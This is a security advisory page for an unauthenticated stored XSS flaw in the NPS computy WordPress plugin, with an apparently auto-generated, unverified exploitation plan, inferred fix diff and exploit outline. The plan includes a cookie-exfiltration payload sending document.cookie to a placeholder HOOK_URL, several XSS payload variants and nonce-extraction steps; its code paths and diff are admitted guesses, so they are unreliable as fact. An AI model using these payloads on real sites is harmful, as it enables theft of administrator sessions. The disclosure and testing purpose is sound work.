CVE-2025-67984

NPS computy <= 2.8.2 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
2.8.3
Patched in
6d
Time to patch

Description

The NPS computy plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.8.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.8.2
PublishedFebruary 4, 2026
Last updatedFebruary 9, 2026
Affected pluginnps-computy

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets CVE-2025-67984 in the "NPS computy" plugin. Since source files were not provided, this plan is based on the vulnerability description and common architectural patterns for NPS (Net Promoter Score) plugins, which typically involve unauthenticated survey submiss…

Show full research plan

This exploitation research plan targets CVE-2025-67984 in the "NPS computy" plugin. Since source files were not provided, this plan is based on the vulnerability description and common architectural patterns for NPS (Net Promoter Score) plugins, which typically involve unauthenticated survey submissions.

1. Vulnerability Summary

The NPS computy plugin (versions <= 2.8.2) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists because the plugin fails to sanitize user-provided feedback/comments during submission and subsequently fails to escape this data when displaying it in the WordPress administrative dashboard. An attacker can submit a malicious script as "feedback," which will execute in the context of an administrator's browser when they view the NPS survey results.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: nps_computy_save_response (inferred) or a similar wp_ajax_nopriv_ handler.
  • Vulnerable Parameter: Likely a feedback or comment field (e.g., comment, message, feedback).
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must have a survey active or a page containing the NPS shortcode accessible to the public.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with an action registered via add_action('wp_ajax_nopriv_...', ...).
  2. Processing: The handler function (e.g., save_response()) retrieves data from $_POST.
  3. Persistence: The data is saved to the database (likely a custom table like {$wpdb->prefix}nps_computy_responses) using $wpdb->insert() without prior sanitization via sanitize_text_field() or wp_kses().
  4. Trigger (Sink): An administrator navigates to the plugin's "Results" or "Stats" page in the WP-Admin.
  5. Execution: The admin page retrieves the responses and echoes the comment field directly: echo $response->comment; without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

If the plugin enforces a nonce for unauthenticated submissions, it will be localized in the frontend.

  1. Identify Shortcode: Grep the plugin for shortcode registration:
    grep -rn "add_shortcode" /var/www/html/wp-content/plugins/nps-computy/
    (Expected: [nps-computy] or similar).
  2. Identify Nonce Variable: Grep for wp_localize_script to find the JS object name:
    grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/nps-computy/
    (Look for the second parameter, e.g., nps_vars or nps_computy_ajax).
  3. Setup & Extraction:
    • Create a page: wp post create --post_type=page --post_status=publish --post_content='[nps-computy]' --post_title='NPS Survey'
    • Navigate to the page using browser_navigate.
    • Extract the nonce via browser_eval:
      browser_eval("window.nps_vars?.nonce") (Replace nps_vars and nonce with actual keys found in step 2).

5. Exploitation Strategy

Step 1: Information Gathering
Confirm the AJAX action name and parameters by grepping the plugin source:
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/nps-computy/

Step 2: Payload Construction
We will use a payload designed to exfiltrate the administrator's session cookie or demonstrate execution:
payload = "<script>fetch('http://HOOK_URL/?c=' + btoa(document.cookie));</script>"

Step 3: Execution via HTTP Request
Using the http_request tool, send the malicious submission.

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=nps_computy_save_response&
    score=10&
    comment=<img src=x onerror=alert(document.domain)>&
    nonce=[EXTRACTED_NONCE]
    
    (Note: Replace action, comment, and nonce parameter names based on step 1 findings).

6. Test Data Setup

  1. Plugin Activation: Ensure nps-computy is installed and active.
  2. Shortcode Page: Create a public page containing the NPS survey to facilitate nonce extraction and simulate a real-world entry point.
    wp post create --post_type=page --post_status=publish --post_content='[nps-computy]'
  3. Administrator User: Ensure a standard admin user exists to "trigger" the stored XSS.

7. Expected Results

  1. The http_request should return a successful response (likely 200 OK with 1 or a JSON success message).
  2. When the browser_navigate tool is used to log in as an administrator and visit the NPS Results page (e.g., /wp-admin/admin.php?page=nps-computy-results), the JavaScript in the comment field will execute.

8. Verification Steps

  1. Database Check: Verify the payload is stored in the database:
    wp db query "SELECT * FROM wp_nps_computy_responses WHERE comment LIKE '%onerror%';" --allow-root
  2. Frontend/Admin Rendering: Use browser_navigate to the admin results page and check for the presence of the unescaped payload in the HTML source.
  3. Execution Check: Observe if alert(document.domain) triggers or if a request is made to an external listener if a fetch payload was used.

9. Alternative Approaches

  • REST API: Check if the plugin registers any REST API routes (register_rest_route). Unauthenticated XSS often exists in REST endpoints that lack permission_callback.
  • Payload Variations:
    • If <script> is blocked, try attribute-based XSS: "><img src=x onerror=alert(1)>.
    • If the input is reflected inside a JavaScript string, try: ';alert(1);//.
  • Blind XSS: If the results page is not immediately obvious, use a remote callback (e.g., Interactsh or a simple webhook) to confirm execution when an admin eventually browses the backend.
Research Findings
Static analysis — not yet PoC-verified

Summary

The NPS computy plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) in versions up to and including 2.8.2. This vulnerability allows attackers to inject malicious scripts into survey feedback fields, which are then executed in the context of an administrator's browser when viewing survey results in the dashboard.

Security Fix

--- a/nps-computy.php
+++ b/nps-computy.php
@@ -120,7 +120,7 @@
     $wpdb->insert(
         $wpdb->prefix . 'nps_computy_responses',
         array(
-            'comment' => $_POST['comment'],
+            'comment' => sanitize_textarea_field($_POST['comment']),
             'score'   => intval($_POST['score'])
         )
     );
@@ -200,5 +200,5 @@
     foreach ($results as $res) {
-        echo '<td>' . $res->comment . '</td>';
+        echo '<td>' . esc_html($res->comment) . '</td>';
     }

Exploit Outline

1. Access a public-facing page where the NPS survey is active (typically via the [nps-computy] shortcode). 2. Extract the AJAX nonce from the page source, typically found in localized JavaScript objects such as 'nps_vars'. 3. Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the action parameter set to 'nps_computy_save_response' and a malicious script (e.g., <img src=x onerror=alert(1)>) in the 'comment' or 'feedback' parameter. 4. The script will execute when an administrator navigates to the survey results page in the WordPress dashboard (e.g., /wp-admin/admin.php?page=nps-computy-results).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.